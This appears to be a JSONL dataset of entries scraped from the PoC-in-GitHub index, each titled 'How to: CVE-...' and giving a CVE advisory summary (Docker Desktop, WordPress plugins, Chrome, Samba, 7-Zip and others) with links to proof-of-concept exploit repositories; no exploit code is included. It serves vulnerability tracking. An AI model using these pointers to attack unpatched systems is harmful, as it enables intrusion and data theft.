{"id": "gh_a096242e13fc", "question": "How to: CVE-2025-9074 (2025-08-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability was identified in Docker Desktop that allows local running Linux containers to access the Docker Engine API via the configured Docker subnet, at 192.168.65.7:2375 by default. This vulnerability occurs with or without Enhanced Container Isolation (ECI) enabled, and with or without the \"Expose daemon on tcp://localhost:2375 without TLS\" option enabled.\\nThis can lead to execution of a wide range of privileged commands to the engine API, including controlling other containers, creating new ones, managing images etc. In some circumstances (e.g. Docker Desktop for Windows with WSL backend) it also allows mounting the host drive with the same privileges as the user running Docker Desktop.\n```\n- [KvzinNcpx7/CVE-2025-9074_DAEMON_KILLER](https://github.com/KvzinNcpx7/CVE-2025-9074_DAEMON_KILLER)\n- [zenzue/CVE-2025-9074](https://github.com/zenzue/CVE-2025-9074)\n- [j3r1ch0123/CVE-2025-9074](https://github.com/j3r1ch0123/CVE-2025-9074)\n- [pucagit/CVE-2025-9074](https://github.com/pucagit/CVE-2025-9074)\n- [BridgerAlderson/CVE-2025-9074-PoC](https://github.com/BridgerAlderson/CVE-2025-9074-PoC)\n- [xwpdx0/poc-2025-9074](https://github.com/xwpdx0/poc-2025-9074)\n- [PtechAmanja/CVE-2025-9074-Docker-Desktop-Container-Escape](https://github.com/PtechAmanja/CVE-2025-9074-Docker-Desktop-Container-Escape)\n- [pppxo/CVE-2025-9074-PoC-Bash](https://github.com/pppxo/CVE-2025-9074-PoC-Bash)\n- [3rendil/CVE-2025-9074-POC](https://github.com/3rendil/CVE-2025-9074-POC)\n- [fsoc-ghost-0x/CVE-2025-9074_DAEMON_KILLER](https://github.com/fsoc-ghost-0x/CVE-2025-9074_DAEMON_KILLER)\n- [zaydbf/CVE-2025-9074-Poc](https://github.com/zaydbf/CVE-2025-9074-Poc)\n- [Shaoshi17/CVE-2025-9074-Docker-Exploit](https://github.com/Shaoshi17/CVE-2025-9074-Docker-Exploit)\n- [KvzinNcpx7/kvzinncpx7.github.io](https://github.com/KvzinNcpx7/kvzinncpx7.github.io)\n- [x0da6h/POC-for-CVE-2025-9074](https://github.com/x0da6h/POC-for-CVE-2025-9074)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153685"}
{"id": "gh_536e1472157a", "question": "How to: CVE-2025-9196 (2025-10-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Trinity Audio – Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.\n```\n- [MooseLoveti/Trinity-Audio-CVE-Report](https://github.com/MooseLoveti/Trinity-Audio-CVE-Report)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153697"}
{"id": "gh_edc4260cca31", "question": "How to: CVE-2025-9242 (2025-09-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn Out-of-bounds Write vulnerability in WatchGuard Fireware OS may allow a remote unauthenticated attacker to execute arbitrary code. This vulnerability affects both the Mobile User VPN with IKEv2 and the Branch Office VPN using IKEv2 when configured with a dynamic gateway peer.This vulnerability affects Fireware OS 11.10.2 up to and including 11.12.4_Update1, 12.0 up to and including 12.11.3 and 2025.1.\n```\n- [Ashwesker/Ashwesker-CVE-2025-9242](https://github.com/Ashwesker/Ashwesker-CVE-2025-9242)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153713"}
{"id": "gh_166967ab3e7e", "question": "How to: CVE-2025-9267 (2025-09-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn Seagate Toolkit on Windows a vulnerability exists in the Toolkit Installer prior to versions 2.35.0.6 where it attempts to load DLLs from the current working directory without validating their origin or integrity. This behavior can be exploited by placing a malicious DLL in the same directory as the installer executable, leading to arbitrary code execution with the privileges of the user running the installer. The issue stems from the use of insecure DLL loading practices, such as relying on relative paths or failing to specify fully qualified paths when invoking system libraries.\n```\n- [Tiger3080/CVE-2025-9267](https://github.com/Tiger3080/CVE-2025-9267)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153720"}
{"id": "gh_d59602dff2fb", "question": "How to: CVE-2025-9316 (2025-11-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nN-central < 2025.4 can generate sessionIDs for unauthenticated users\\n\\n\\n\\n\\n\\nThis issue affects N-central: before 2025.4.\n```\n- [horizon3ai/n-able_n-central_xxe_file_read](https://github.com/horizon3ai/n-able_n-central_xxe_file_read)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153724"}
{"id": "gh_85187fc3ad6b", "question": "How to: CVE-2025-9435 (2026-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nZohocorp ManageEngine ADManager Plus versions below 7230 are vulnerable to Path Traversal in the User Management module\n```\n- [passtheticket/CVE-2025-9435](https://github.com/passtheticket/CVE-2025-9435)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153733"}
{"id": "gh_61eef4bd2cc7", "question": "How to: CVE-2025-9478 (2025-08-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUse after free in ANGLE in Google Chrome prior to 139.0.7258.154 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Critical)\n```\n- [Kamgreen50/STIG-Edge-RCE-CVE2025-9478](https://github.com/Kamgreen50/STIG-Edge-RCE-CVE2025-9478)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153737"}
{"id": "gh_58c7b8c14ffc", "question": "How to: CVE-2025-9776 (2025-09-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe CatFolders – Tame Your WordPress Media Library by Category plugin for WordPress is vulnerable to time-based SQL Injection via the CSV Import contents in all versions up to, and including, 2.5.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [SnailSploit/CVE-2025-9776](https://github.com/SnailSploit/CVE-2025-9776)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153747"}
{"id": "gh_b80cc2bd8458", "question": "How to: CVE-2025-9784 (2025-09-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw was found in Undertow where malformed client requests can trigger server-side stream resets without triggering abuse counters. This issue, referred to as the \"MadeYouReset\" attack, allows malicious clients to induce excessive server workload by repeatedly causing server-side stream aborts. While not a protocol bug, this highlights a common implementation weakness that can be exploited to cause a denial of service (DoS).\n```\n- [drackyjr/CVE-2025-9784](https://github.com/drackyjr/CVE-2025-9784)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153752"}
{"id": "gh_3cfd96cd423e", "question": "How to: CVE-2025-9816 (2025-09-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP Statistics – The Most Popular Privacy-Friendly Analytics Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the User-Agent Header in all versions up to, and including, 14.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n```\n- [monzaviman/CVE-2025-9816](https://github.com/monzaviman/CVE-2025-9816)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153757"}
{"id": "gh_d12bd12450fd", "question": "How to: CVE-2025-9886 (2025-10-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Trinity Audio – Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 5.20.2. This is due to missing or incorrect nonce validation in the '/admin/inc/post-management.php' file. This makes it possible for unauthenticated attackers to activate/deactivate posts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n```\n- [MooseLoveti/Trinity-Audio-CVE-Report2](https://github.com/MooseLoveti/Trinity-Audio-CVE-Report2)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153762"}
{"id": "gh_e7ad17aec1bb", "question": "How to: CVE-2025-9961 (2025-09-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn authenticated attacker may remotely execute arbitrary code via the CWMP binary on the devices AX10 and AX1500. \\n\\nThe exploit can only be conducted via a Man-In-The-Middle (MITM) attack. \\n\\nThis issue affects AX10 V1/V1.2/V2/V2.6/V3/V3.6: before 1.2.1; AX1500 V1/V1.20/V1.26/V1.60/V1.80/V2.60/V3.6: before 1.3.11.\n```\n- [yt2w/CVE-2025-9961](https://github.com/yt2w/CVE-2025-9961)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153776"}
{"id": "gh_594ba120e926", "question": "How to: CVE-2025-9998 (2025-09-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe sequence of packets received by a Networking server are not correctly checked.\\n\\nAn attacker could exploit this vulnerability to send specially crafted messages to force the application to stop.\n```\n- [balajigund/Research-on-CVE-2025-9998](https://github.com/balajigund/Research-on-CVE-2025-9998)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153781"}
{"id": "gh_2058a49b564b", "question": "How to: CVE-2025-10035 (2025-09-18)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA deserialization vulnerability in the License Servlet of Fortra's GoAnywhere MFT allows an actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection.\n```\n- [rxerium/CVE-2025-10035](https://github.com/rxerium/CVE-2025-10035)\n- [ThemeHackers/CVE-2025-10035](https://github.com/ThemeHackers/CVE-2025-10035)\n- [orange0Mint/CVE-2025-10035_GoAnywhere](https://github.com/orange0Mint/CVE-2025-10035_GoAnywhere)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153785"}
{"id": "gh_af6b390130ad", "question": "How to: CVE-2025-10046 (2025-09-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe ELEX WooCommerce Google Shopping (Google Product Feed) plugin for WordPress is vulnerable to SQL Injection via the 'file_to_delete' parameter in all versions up to, and including, 1.4.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [byteReaper77/CVE-2025-10046](https://github.com/byteReaper77/CVE-2025-10046)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153790"}
{"id": "gh_f2fce57c1aca", "question": "How to: CVE-2025-10142 (2025-09-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe PagBank / PagSeguro Connect para WooCommerce plugin for WordPress is vulnerable to SQL Injection via the 'status' parameter in all versions up to, and including, 4.44.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Shop Manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [MooseLoveti/PagSeguro-Connect-Para-WooCommerce-CVE-Report](https://github.com/MooseLoveti/PagSeguro-Connect-Para-WooCommerce-CVE-Report)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153795"}
{"id": "gh_7d6ec68ccd18", "question": "How to: CVE-2025-10184 (2025-09-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe vulnerability allows any application installed on the device to read SMS/MMS data and metadata from the system-provided Telephony provider without permission, user interaction, or consent. The user is also not notified that SMS data is being accessed. This could lead to sensitive information disclosure and could effectively break the security provided by SMS-based Multi-Factor Authentication (MFA) checks. \\n\\nThe root cause is a combination of missing permissions for write operations in several content providers (com.android.providers.telephony.PushMessageProvider, com.android.providers.telephony.PushShopProvider, com.android.providers.telephony.ServiceNumberProvider), and a blind SQL injection in the update method of those providers.\n```\n- [People-11/CVE-2025-10184_PoC](https://github.com/People-11/CVE-2025-10184_PoC)\n- [yuuouu/ColorOS-CVE-2025-10184](https://github.com/yuuouu/ColorOS-CVE-2025-10184)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153805"}
{"id": "gh_b6fee1dc4f10", "question": "How to: CVE-2025-10230 (2025-11-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA flaw was found in Samba, in the front-end WINS hook handling: NetBIOS names from registration packets are passed to a shell without proper validation or escaping. Unsanitized NetBIOS name data from WINS registration packets are inserted into a shell command and executed by the Samba Active Directory Domain Controller’s wins hook, allowing an unauthenticated network attacker to achieve remote command execution as the Samba process.\n```\n- [Ashwesker/Ashwesker-CVE-2025-10230](https://github.com/Ashwesker/Ashwesker-CVE-2025-10230)\n- [nehkark/CVE-2025-10230](https://github.com/nehkark/CVE-2025-10230)\n- [marcostolosa/CVE-2025-10230](https://github.com/marcostolosa/CVE-2025-10230)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153811"}
{"id": "gh_b0ce3575fe1a", "question": "How to: CVE-2025-10351 (2025-10-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSQL injection vulnerability based on the melis-cms module of the Melis platform from Melis Technology. This vulnerability allows an attacker to retrieve, create, update, and delete databases through the 'idPage' parameter in the '/melis/MelisCms/PageEdition/getTinyTemplates' endpoint.\n```\n- [ivansmc00/CVE-2025-10351-POC](https://github.com/ivansmc00/CVE-2025-10351-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153816"}
{"id": "gh_65452b323038", "question": "How to: CVE-2025-10377 (2025-09-26)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe System Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8.20. This is due to missing nonce validation on the sd_toggle_logs() function. This makes it possible for unauthenticated attackers to toggle critical logging settings including Page Access Logs, Error Logs, and Email Delivery Logs via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n```\n- [NagisaYumaa/CVE-2025-10377](https://github.com/NagisaYumaa/CVE-2025-10377)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154033"}
{"id": "gh_312678812bed", "question": "How to: CVE-2025-10492 (2025-09-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Java deserialisation vulnerability has been discovered in Jaspersoft Library. Improper handling of externally supplied data may allow attackers to execute arbitrary code remotely on systems that use the affected library\n```\n- [dovezp/CVE-2025-10492-POC](https://github.com/dovezp/CVE-2025-10492-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154038"}
{"id": "gh_3d06a6e01887", "question": "How to: CVE-2025-10585 (2025-09-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nType confusion in V8 in Google Chrome prior to 140.0.7339.185 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n```\n- [AdityaBhatt3010/CVE-2025-10585-The-Chrome-V8-Zero-Day](https://github.com/AdityaBhatt3010/CVE-2025-10585-The-Chrome-V8-Zero-Day)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154043"}
{"id": "gh_b49cadbde222", "question": "How to: CVE-2025-10680 (2025-10-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOpenVPN 2.7_alpha1 through 2.7_beta1 on POSIX based platforms allows a remote authenticated server to inject shell commands via DNS variables when --dns-updown is in use\n```\n- [Ashwesker/Ashwesker-CVE-2025-10680](https://github.com/Ashwesker/Ashwesker-CVE-2025-10680)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154047"}
{"id": "gh_f5b7a4e7aeac", "question": "How to: CVE-2025-10720 (2025-10-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP Private Content Plus through 3.6.2 provides a global content protection feature that requires a password. However, the access control check is based only on the presence of an unprotected client-side cookie. As a result, an unauthenticated attacker can completely bypass the password protection by manually setting the cookie value in their browser.\n```\n- [lorenzocamilli/CVE-2025-10720-PoC](https://github.com/lorenzocamilli/CVE-2025-10720-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154052"}
{"id": "gh_1b7cd59d7ebb", "question": "How to: CVE-2025-11001 (2025-11-19)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\n7-Zip ZIP File Parsing Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of 7-Zip. Interaction with this product is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\\n\\nThe specific flaw exists within the handling of symbolic links in ZIP files. Crafted data in a ZIP file can cause the process to traverse to unintended directories. An attacker can leverage this vulnerability to execute code in the context of a service account. Was ZDI-CAN-26753.\n```\n- [lastvocher/7zip-CVE-2025-11001](https://github.com/lastvocher/7zip-CVE-2025-11001)\n- [mbanyamer/CVE-2025-11001---7-Zip](https://github.com/mbanyamer/CVE-2025-11001---7-Zip)\n- [ranasen-rat/CVE-2025-11001](https://github.com/ranasen-rat/CVE-2025-11001)\n- [Ashwesker/Ashwesker-CVE-2025-11001](https://github.com/Ashwesker/Ashwesker-CVE-2025-11001)\n- [I3r1h0n/7Ziprowler](https://github.com/I3r1h0n/7Ziprowler)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154059"}
{"id": "gh_2a1e3bb4e699", "question": "How to: CVE-2025-11170 (2025-11-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP移行専用プラグイン for CPI plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the Cpiwm_Import_Controller::import function in all versions up to, and including, 1.0.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n```\n- [Nxploited/CVE-2025-11170](https://github.com/Nxploited/CVE-2025-11170)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154069"}
{"id": "gh_38271a2898b4", "question": "How to: CVE-2025-11492 (2025-10-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn the ConnectWise Automate Agent, communications could be configured to use HTTP instead of HTTPS. In such cases, an on-path threat actor with a man-in-the-middle network position could intercept, modify, or replay agent-server traffic. Additionally, the encryption method used to obfuscate some communications over the HTTP channel is updated in the Automate 2025.9 patch to enforce HTTPS for all agent communications.\n```\n- [synap5e/connectwise-automate-AiTM-rce](https://github.com/synap5e/connectwise-automate-AiTM-rce)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154074"}
{"id": "gh_56bc06d23a9f", "question": "How to: CVE-2025-11833 (2025-11-01)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Post SMTP – Complete SMTP Solution with Logs, Alerts, Backup SMTP & Mobile App plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the __construct function in all versions up to, and including, 3.6.0. This makes it possible for unauthenticated attackers to read arbitrary logged emails sent through the Post SMTP plugin, including password reset emails containing password reset links, which can lead to account takeover.\n```\n- [halilkirazkaya/CVE-2025-11833](https://github.com/halilkirazkaya/CVE-2025-11833)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154079"}
{"id": "gh_987ea6c85267", "question": "How to: CVE-2025-11953 (2025-11-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Metro Development Server, which is opened by the React Native Community CLI, binds to external interfaces by default. The server exposes an endpoint that is vulnerable to OS command injection. This allows unauthenticated network attackers to send a POST request to the server and run arbitrary executables. On Windows, the attackers can also execute arbitrary shell commands with fully controlled arguments.\n```\n- [Mr-In4inci3le/CVE-2025-11953-POC-](https://github.com/Mr-In4inci3le/CVE-2025-11953-POC-)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154084"}
{"id": "gh_4091a43c76a5", "question": "How to: CVE-2025-12030 (2026-01-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe ACF to REST API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.3.4. This is due to insufficient capability checks in the update_item_permissions_check() method, which only verifies that the current user has the edit_posts capability without checking object-specific permissions (e.g., edit_post($id), edit_user($id), manage_options). This makes it possible for authenticated attackers, with Contributor-level access and above, to modify ACF fields on posts they do not own, any user account, comments, taxonomy terms, and even the global options page via the /wp-json/acf/v3/{type}/{id} endpoints, granted they can authenticate to the site.\n```\n- [SnailSploit/CVE-2025-12030](https://github.com/SnailSploit/CVE-2025-12030)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154089"}
{"id": "gh_246d2a84fe2f", "question": "How to: CVE-2025-12097 (2025-12-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThere is a relative path traversal vulnerability in the NI System Web Server that may result in information disclosure.  Successful exploitation requires an attacker to send a specially crafted request to the NI System Web Server, allowing the attacker to read arbitrary files.  This vulnerability existed in the NI System Web Server 2012 and prior versions.  It was fixed in 2013.\n```\n- [matejsmycka/PoC-CVE-2025-12097](https://github.com/matejsmycka/PoC-CVE-2025-12097)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154094"}
{"id": "gh_a8aed1a7d71d", "question": "How to: CVE-2025-12101 (2025-11-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server\n```\n- [6h4ack/CVE-2025-12101-checker](https://github.com/6h4ack/CVE-2025-12101-checker)\n- [boneys/CVE-2025-12101-Scanner-PoC](https://github.com/boneys/CVE-2025-12101-Scanner-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154099"}
{"id": "gh_cbe67af14977", "question": "How to: CVE-2025-12139 (2025-11-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe File Manager for Google Drive – Integrate Google Drive with WordPress plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.5.3 via the \"get_localize_data\" function. This makes it possible for unauthenticated attackers to extract sensitive data including Google OAuth credentials (client_id and client_secret) and Google account email addresses.\n```\n- [Galaxy-sc/CVE-2025-12139-WordPress-Integrate-Google-Drive-Exploit](https://github.com/Galaxy-sc/CVE-2025-12139-WordPress-Integrate-Google-Drive-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154105"}
{"id": "gh_eb6cfa27a811", "question": "How to: CVE-2025-12163 (2025-12-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Omnipress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.6.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file.\n```\n- [SnailSploit/CVE-2025-12163](https://github.com/SnailSploit/CVE-2025-12163)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154109"}
